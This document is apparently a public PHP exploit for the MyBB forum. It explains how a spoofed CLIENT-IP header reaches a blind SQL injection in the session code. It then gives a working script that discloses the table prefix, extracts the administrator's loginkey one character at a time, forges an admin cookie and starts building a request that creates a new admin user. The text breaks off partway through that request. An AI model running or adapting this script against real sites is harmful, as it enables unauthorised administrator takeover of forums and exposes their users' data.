vulnerable code in inc/functions.php near lines 1292-1320:

...
function getip() {
global $_SERVER;
if($_SERVER['HTTP_X_FORWARDED_FOR'])
{
if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
{
while(list($key, $val) = each($addresses[0]))
{
if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))
{
$ip = $val;
break;
}
}
}
}
if(!$ip)
{
if($_SERVER['HTTP_CLIENT_IP'])
{
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
}
return $ip;
}
...

you can spoof your ip address through the CLIENT-IP http header...
as result you can inject sql statements in class_session.php at lines 36-68:
by calling the main index.php script
...
function init()
{
global $ipaddress, $db, $mybb, $noonline;
//
// Get our visitors IP
//
$this->ipaddress = $ipaddress = getip();

//
// User-agent
//
$this->useragent = $_SERVER['HTTP_USER_AGENT'];
if(strlen($this->useragent) > 100)
{
$this->useragent = substr($this->useragent, 0, 100);
}

//
// Attempt to find a session id in the cookies
//
if($_COOKIE['sid'])
{
$this->sid = addslashes($_COOKIE['sid']);
}
else
{
$this->sid = 0;
}

//
// Attempt to load the session from the database
//
$query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'");
...

injection is blind, but you can ask true-false questions to the database to
retrieve the admin loginkey.
Through that you can build an admin cookie and create a new admin user through
the admin/users.php script.
Also you can disclose table prefix.

--------------------------------------------------------------------------------

-*****************************************************************************-
* *
* Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto *
* grazie Grosso! *
* *
-*****************************************************************************-
*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
$anumber = rand(1,99999);

$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="mybb_";
$user_id="1";//admin
$proxy="";
$dt=0;
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u")
{
$user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-d")
{
$dt=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($dt)
{
$sql="'suntzuuuu/*";
echo "sql -> ".$sql."\r\n";
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $sql\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html))
{
$temp=explode("sessions",$html);
$temp2=explode(" ",$temp[0]);
$prefix=$temp2[count($temp2)-1];
echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n";
}
else
{
echo "unable to disclose table prefix...\n";
}
sleep(1);
}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(65,90));//A-Z letters
$chars=array_merge($chars,range(97,122));//a-f letters
$j=1;
$loginkey="";
while (!strstr($loginkey,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*";
echo "sql -> ".$sql."\r\n";
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $sql\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
$cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";";
echo "admin cookie -> ".$cookie."\r\n";

$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="action";

do_add
-----------------------------7d62702f250530
Content-Disposition: form-data; name="userusername";

suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="newpassword";

suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email";

suntzoi@suntzu.org
-----------------------------7d62702f250530
Content-Disposition: form-data; name="usergroup";

4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="additionalgroups[]";

4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="displaygroup";

4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="Add User";

Add User
-----------------------------7d62702f250530--
';